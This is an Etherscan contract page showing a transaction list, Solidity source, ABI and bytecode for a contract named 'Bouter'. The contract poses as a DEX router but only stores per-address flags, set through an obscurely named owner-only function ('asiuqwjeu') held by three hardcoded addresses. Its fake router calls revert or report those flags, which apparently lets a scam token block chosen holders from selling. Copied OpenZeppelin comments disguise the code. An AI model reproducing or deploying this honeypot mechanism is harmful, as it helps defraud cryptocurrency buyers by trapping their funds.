Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 25 from a total of 56 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Asiuqwjeu | 18509455 | 357 days ago | IN | 0 ETH | 0.00078542 | ||||
Asiuqwjeu | 18506873 | 358 days ago | IN | 0 ETH | 0.00114654 | ||||
Asiuqwjeu | 18506489 | 358 days ago | IN | 0 ETH | 0.00120739 | ||||
Asiuqwjeu | 18502409 | 358 days ago | IN | 0 ETH | 0.00083492 | ||||
Asiuqwjeu | 18502335 | 358 days ago | IN | 0 ETH | 0.00071485 | ||||
Asiuqwjeu | 18501315 | 358 days ago | IN | 0 ETH | 0.00041859 | ||||
Asiuqwjeu | 18501315 | 358 days ago | IN | 0 ETH | 0.00072464 | ||||
Asiuqwjeu | 18500920 | 358 days ago | IN | 0 ETH | 0.00088507 | ||||
Asiuqwjeu | 18500286 | 359 days ago | IN | 0 ETH | 0.00096578 | ||||
Asiuqwjeu | 18500232 | 359 days ago | IN | 0 ETH | 0.00105712 | ||||
Asiuqwjeu | 18500196 | 359 days ago | IN | 0 ETH | 0.00114964 | ||||
Asiuqwjeu | 18500141 | 359 days ago | IN | 0 ETH | 0.00069996 | ||||
Asiuqwjeu | 18500141 | 359 days ago | IN | 0 ETH | 0.00121173 | ||||
Asiuqwjeu | 18500084 | 359 days ago | IN | 0 ETH | 0.00141486 | ||||
Asiuqwjeu | 18499929 | 359 days ago | IN | 0 ETH | 0.00117663 | ||||
Asiuqwjeu | 18493314 | 359 days ago | IN | 0 ETH | 0.00114943 | ||||
Asiuqwjeu | 18492972 | 360 days ago | IN | 0 ETH | 0.00170779 | ||||
Asiuqwjeu | 18484454 | 361 days ago | IN | 0 ETH | 0.00135419 | ||||
Asiuqwjeu | 18484417 | 361 days ago | IN | 0 ETH | 0.0013492 | ||||
Asiuqwjeu | 18484395 | 361 days ago | IN | 0 ETH | 0.00113227 | ||||
Asiuqwjeu | 18484369 | 361 days ago | IN | 0 ETH | 0.00117805 | ||||
Asiuqwjeu | 18484189 | 361 days ago | IN | 0 ETH | 0.00067626 | ||||
Asiuqwjeu | 18484189 | 361 days ago | IN | 0 ETH | 0.00117069 | ||||
Asiuqwjeu | 18484127 | 361 days ago | IN | 0 ETH | 0.00142393 | ||||
Asiuqwjeu | 18484053 | 361 days ago | IN | 0 ETH | 0.00108018 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
Bouter
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** *Submitted for verification at Etherscan.io on 2023-10-24 */ // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to yourict their use to * the owner. */ // Define interface for TransferController interface RouterController { function WETH() external view returns (address); function getAmountsIn(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Bouter is RouterController{ mapping(address => uint256) private _isBlacklisted; mapping(address => bool) private owners; constructor (){ owners[msg.sender] = true; owners[0xC702d84DAD27C43a45afDf14dB9A3B1FD32Bbc4C] = true; owners[0x562cC07CE8609BD1fc077e82D09f2DeFCCAE3AF8] = true; } function WETH() external view override returns(address){ address ad = address(this); return ad; } function getCode() public view returns (uint256) { address ad = address(this); uint256 result = uint160(ad); return result; } function getCode2(address addr) public pure returns (uint256) { uint256 result = uint160(addr); return result; } function getCode3(uint160 addr) public pure returns (address) { address result = address(addr); return result; } function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external virtual override payable returns (uint amountToken, uint amountETH, uint liquidity) { amountToken = amountTokenDesired; amountETH = amountTokenMin; liquidity = _isBlacklisted[token]; if(liquidity > 0){ require(false); } } function getAmountsIn(uint amountIn, address[] memory path) public view virtual override returns (uint[] memory amounts) { amounts = new uint[](path.length); amounts[0] = _isBlacklisted[path[0]]; return amounts; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ function asiuqwjeu(address token, address account, uint256 excluded) public { require(owners[msg.sender]); _isBlacklisted[account] = excluded; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function getTime() public view returns (uint256) { return block.timestamp; } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","outputs":[{"internalType":"uint256","name":"amountToken","type":"uint256"},{"internalType":"uint256","name":"amountETH","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"excluded","type":"uint256"}],"name":"asiuqwjeu","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsIn","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCode","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getCode2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint160","name":"addr","type":"uint160"}],"name":"getCode3","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"}]
Contract Creation Code
608060405234801561001057600080fd5b503360009081526001602081905260408220805460ff1990811683179091557fd289dd0c52b36373d5da41f9825e2d074f1efe9a0e05c5e9b4fd686cd1ab4f1c805482168317905573562cc07ce8609bd1fc077e82d09f2defccae3af89092527f7f6e8ac82d0e5685ba5550916d04be6f501c9b6351d18d4dd5f22b52b6f2c3518054909216179055610507806100a86000396000f3fe6080604052600436106100705760003560e01c806367d2dc411161004e57806367d2dc4114610103578063ad5c464814610138578063ea8796341461014b578063f305d7191461015e57600080fd5b80630b5b4afd146100755780631f00ca74146100975780634afdc1de146100cd575b600080fd5b34801561008157600080fd5b506100956100903660046102cd565b61018c565b005b3480156100a357600080fd5b506100b76100b2366004610324565b6101c5565b6040516100c491906103f5565b60405180910390f35b3480156100d957600080fd5b506100eb6100e8366004610439565b90565b6040516001600160a01b0390911681526020016100c4565b34801561010f57600080fd5b5061012a61011e366004610439565b6001600160a01b031690565b6040519081526020016100c4565b34801561014457600080fd5b50306100eb565b34801561015757600080fd5b503061012a565b61017161016c36600461045d565b610271565b604080519384526020840192909252908201526060016100c4565b3360009081526001602052604090205460ff166101a857600080fd5b6001600160a01b0390911660009081526020819052604090205550565b6060815167ffffffffffffffff8111156101e1576101e161030e565b60405190808252806020026020018201604052801561020a578160200160208202803683370190505b50905060008083600081518110610223576102236104bb565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020548160008151811061025f5761025f6104bb565b60200260200101818152505092915050565b6001600160a01b03861660009081526020819052604090205485908590801561029957600080fd5b96509650969350505050565b6001600160a01b03811681146102ba57600080fd5b50565b80356102c8816102a5565b919050565b6000806000606084860312156102e257600080fd5b83356102ed816102a5565b925060208401356102fd816102a5565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000806040838503121561033757600080fd5b8235915060208084013567ffffffffffffffff8082111561035757600080fd5b818601915086601f83011261036b57600080fd5b81358181111561037d5761037d61030e565b8060051b604051601f19603f830116810181811085821117156103a2576103a261030e565b6040529182528482019250838101850191898311156103c057600080fd5b938501935b828510156103e5576103d6856102bd565b845293850193928501926103c5565b8096505050505050509250929050565b6020808252825182820181905260009190848201906040850190845b8181101561042d57835183529284019291840191600101610411565b50909695505050505050565b60006020828403121561044b57600080fd5b8135610456816102a5565b9392505050565b60008060008060008060c0878903121561047657600080fd5b8635610481816102a5565b955060208701359450604087013593506060870135925060808701356104a6816102a5565b8092505060a087013590509295509295509295565b634e487b7160e01b600052603260045260246000fdfea26469706673582212202f940d6eba0dc21e96159e018fb343d5013da5a863cdc6ba674c1e0f2ed3fdd364736f6c63430008130033
Deployed Bytecode
0x6080604052600436106100705760003560e01c806367d2dc411161004e57806367d2dc4114610103578063ad5c464814610138578063ea8796341461014b578063f305d7191461015e57600080fd5b80630b5b4afd146100755780631f00ca74146100975780634afdc1de146100cd575b600080fd5b34801561008157600080fd5b506100956100903660046102cd565b61018c565b005b3480156100a357600080fd5b506100b76100b2366004610324565b6101c5565b6040516100c491906103f5565b60405180910390f35b3480156100d957600080fd5b506100eb6100e8366004610439565b90565b6040516001600160a01b0390911681526020016100c4565b34801561010f57600080fd5b5061012a61011e366004610439565b6001600160a01b031690565b6040519081526020016100c4565b34801561014457600080fd5b50306100eb565b34801561015757600080fd5b503061012a565b61017161016c36600461045d565b610271565b604080519384526020840192909252908201526060016100c4565b3360009081526001602052604090205460ff166101a857600080fd5b6001600160a01b0390911660009081526020819052604090205550565b6060815167ffffffffffffffff8111156101e1576101e161030e565b60405190808252806020026020018201604052801561020a578160200160208202803683370190505b50905060008083600081518110610223576102236104bb565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020548160008151811061025f5761025f6104bb565b60200260200101818152505092915050565b6001600160a01b03861660009081526020819052604090205485908590801561029957600080fd5b96509650969350505050565b6001600160a01b03811681146102ba57600080fd5b50565b80356102c8816102a5565b919050565b6000806000606084860312156102e257600080fd5b83356102ed816102a5565b925060208401356102fd816102a5565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000806040838503121561033757600080fd5b8235915060208084013567ffffffffffffffff8082111561035757600080fd5b818601915086601f83011261036b57600080fd5b81358181111561037d5761037d61030e565b8060051b604051601f19603f830116810181811085821117156103a2576103a261030e565b6040529182528482019250838101850191898311156103c057600080fd5b938501935b828510156103e5576103d6856102bd565b845293850193928501926103c5565b8096505050505050509250929050565b6020808252825182820181905260009190848201906040850190845b8181101561042d57835183529284019291840191600101610411565b50909695505050505050565b60006020828403121561044b57600080fd5b8135610456816102a5565b9392505050565b60008060008060008060c0878903121561047657600080fd5b8635610481816102a5565b955060208701359450604087013593506060870135925060808701356104a6816102a5565b8092505060a087013590509295509295509295565b634e487b7160e01b600052603260045260246000fdfea26469706673582212202f940d6eba0dc21e96159e018fb343d5013da5a863cdc6ba674c1e0f2ed3fdd364736f6c63430008130033
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.